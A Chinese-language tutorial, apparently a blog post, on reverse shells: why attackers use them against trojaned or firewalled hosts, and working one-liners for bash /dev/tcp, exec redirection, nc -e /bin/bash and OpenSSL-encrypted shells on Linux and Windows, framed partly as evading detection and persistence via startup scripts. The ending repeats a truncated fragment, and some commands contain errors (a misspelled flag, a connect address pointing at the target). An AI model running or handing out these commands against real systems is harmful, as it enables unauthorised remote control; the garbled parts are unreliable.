各类反弹shell原理
一、理解反弹shell
1、为什么需要反弹shell
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标IP:目标端口),这是比较常规的形式,我们叫做正向连接。远程桌面,ssh,web服务,smb等等
那么什么情况下正向连接不太好用了?
(1)某客户机中了你的木马,但是它在局域网内,你直接连接不了。它的IP会动态改变,你不能持续控制。
(2)由于防火墙或局域网的限制,对方机器只能发送请求,不能主动请求。
(3)对于病毒,木马,受害者什么时候中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
那么反弹就很好理解了,攻击者指定服务端(公网ip),受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
2、反弹shell的基本原理
反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令的输入输出转到控制端。
reverse shell 与telnet,shh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
二、常见的反弹shell命令
1、使用Bash进行反弹
Windows作为攻击者主机,Linux是被入侵主机(目标主机),此时目标主机上只要能正常运行Linux命令便可以实现反弹,利用Linux的Bash命令重定向和Windows上的Netcat应用程序。
windows:192.168.112.1
Linux:192.168.112.188 (被攻击)
(1)在windows上启动端口监听(不建议)
nc -lvp 4444
#参数 ; 代表入站 v 代表输出信息级别 p 指定监听的端口 具体用法 nc -h
#端口可以是任意的,不被防火墙阻挡和占用就行
(2)在Linux上运行反弹命令(可以写个开机自启动的脚本)
bash -i >& /dev/tcp/192.168.112.1/4444 0>&1
bash -i #打开一个交互的bash
>& #将标准错误输出合并并重定向到标准输出,也可以写成&>
/dev/tcp/ip #意为调用socket,建立socket连接,其中192.168.112.1为要反弹到的主机ip,4444为端口
0>&1 #标准输入重定向到标准输出,实现你与反弹出来的shell交互,可以接受用户输入, 0>&1 0<&1是相同作用
/dev/tcp/ 是Linux中一个特殊的设备,打开这个文件就相当于发送出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,linux中还存在 /dev/udp/
在bash命令执行过程中,主要有三种输入的状况,分别是:
1.标准输入:代码为0;或称为 stdin,使用的方式为 <
2.标准输出:代码为1;或称为stdout,使用的方式为1>
3.错误输出:代码为2;或称为 stderr,使用的方式为 2>
(3)反弹成功后就可以在windows上执行命令了
由于我的windows nc启动有问题 我这里用 kali来启动监听
2、使用exec执行shell的方式(不建议)
exec 5<> /dev/tcp/192.168.112.1/4444; cat <&5 | while read line;do line 2>&5; done
#注意此时在windows端没有提示符,直接运行命令
3.使用nc进行反弹
(1)在kali上启动nc监听
nc -lvp 4444
(2)在centos上反弹
nc -e /bin/bash 192.168.112.128 4444
4.语言的反弹shell
可以根据目标机上的语言环境,写对应的shell脚本这里不叙述了
三、加密反弹shell
由于反弹shell通常是明文传输容易被发现,因此需要对传输内容进行加密处理不被发现
Liunux
1.在攻击机上生产证书
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
然后输入证书信息,国家代码输入cn,其他随意 也可以不写
2.在攻击机上监听
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
3.在目标机上执行反弹
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quite -connect 192.168.112.188:4444>/tmp/s;rm /tmp/s
Windows
在 Windows 系统上反弹加密 shell 的方式有点不一样
具体命令如下:
openssl s_client -quiet -connect [ip]:[port1] | cmd.exe | openssl s_client -quiet -connect [ip]:[port2]
以上命令会从 [ip]:[port1]
获取命令发送给 cmd.exe
执行,然后把结果返回到 [ip]:[port2]
因此在本机需要启动两个 s_server
从 port1
发送命令到 cmd
openssl s_server -quiet -key [keyfile] -cert [cert] -port [port1]
从 port2
获取发送给 port1
的命令执行结果
openssl s_server -quiet -key [keyfile] -cert [cert] -port [port2]
yfile] -cert [cert] -port [port1]
从 `port2` 获取发送给 `port1` 的命令执行结果
```css
openssl s_server -quiet -key [keyfile] -cert [cert] -port [port2]